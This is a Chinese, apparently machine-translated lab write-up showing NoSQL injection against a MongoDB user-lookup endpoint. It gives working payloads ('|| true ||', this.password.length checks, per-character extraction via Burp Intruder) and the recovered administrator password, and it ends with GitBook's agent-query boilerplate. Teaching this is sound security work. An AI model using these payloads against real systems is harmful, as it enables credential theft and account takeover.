> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/data-extraction-via-nosql-injection.md).

# 通过 NoSQL 注入提取数据

### 利用 NoSQL 注入提取数据

**实验背景**

该实验室的用户搜索功能基于 NoSQL 数据库 **MongoDB**. / 她易受 \*\*NoSQL 注入\*\* 攻击。

\*\* 目标：\*\*/ 提取用户的密码 **administrator** 然后登录他的账户。

提供了一个有效账户：

* **标识符：** `wiener`
* **密码：** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="/files/62e85194e9bdcafdaa2266532444dcbb97b69da4" alt=""><figcaption></figcaption></figure>

**操作分析**

连接到 `wiener:peter`后，后台会发送以下请求：

```bash
GET /user/lookup?user=
```

该查询列出有关用户的信息。

* 示例：

```bash
GET /user/lookup?user=administrator
```

<figure><img src="/files/276f69b0c515582d658ede6e51eb2f7acb4ae273" alt=""><figcaption></figcaption></figure>

然后前端显示：

```bash
你的用户名是：wiener（角色：user）
```

<figure><img src="/files/dc0d86f1b28ff7a5434d4ab6dc4d7c14b2dae427" alt=""><figcaption></figcaption></figure>

**NoSQL 漏洞检测**

通过注入一个单引号：

```bash
administrator'
```

服务器返回错误：

```terraform
{
  "message": "获取用户详细信息时出错"
}
```

<figure><img src="/files/1badd68e89b4a6b0893d0da8cc3453ee2c20a73b" alt=""><figcaption></figcaption></figure>

然而，通过添加一个始终为真的条件：

```bash
administrator' || true ||'
```

请求被接受，证实存在 \*\*NoSQL 注入\*\*。

**提取密码长度**

该 `this.password.length` 属性用于确定密码大小。

测试示例：

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

为使其正常工作，需要 \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\* 应用于管理员\*\*

<figure><img src="/files/ce1fdbff181a4f9a090076ac440040f480436b0c" alt=""><figcaption></figcaption></figure>

使用该方法重复对 `administrator` 用户：

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

条件得到验证，表明管理员的密码包含 **8 个字符**.

<figure><img src="/files/b0026d070192032dc7b2daf4319544429079b3c2" alt=""><figcaption></figcaption></figure>

**逐个字符提取**

然后按位置过滤：

```bash
administrator' %26%26 this.password[0]=='X
```

该请求发送到 **Intruder**.

<figure><img src="/files/f3ea159fb4544a006616cdde69f3520a67d374b2" alt=""><figcaption></figcaption></figure>

### \*\* 使用 Intruder 攻击\*\*

<figure><img src="/files/feada11d667ece611f529f02b40bf3e292a6bffc" alt=""><figcaption></figcaption></figure>

攻击类型： **Cluster Bomb**

<figure><img src="/files/38f08e9f884131ce25c9b8f2365dcc7fb7aed935" alt=""><figcaption></figcaption></figure>

参数：

* 字符位置： `0` 更改为 `7` 值

<figure><img src="/files/190f9441f63ed94528fde7450bf92804c1f0372e" alt=""><figcaption></figcaption></figure>

* 测试字符：字母表（字母词典）

<figure><img src="/files/786f50bb47d10d8d2a364a63d1aea8bd4639d4da" alt=""><figcaption></figcaption></figure>

通过分析有效答案，恢复密码。

| 数字 | 字母 |
| -- | -- |
| 0  | v  |
| 1  | x  |
| 2  | t  |
| 3  | r  |
| 4  | m  |
| 5  | e  |
| 6  | z  |
| 7  | s  |

<figure><img src="/files/df06b8a709198b2b43bf85f67dd1872f258fa764" alt=""><figcaption></figcaption></figure>

**最终结果**

**管理员用户密码：**

`vxtrmezs`

<figure><img src="/files/3b93e014c65bb3b40cb307f6a5d37dd939dea131" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
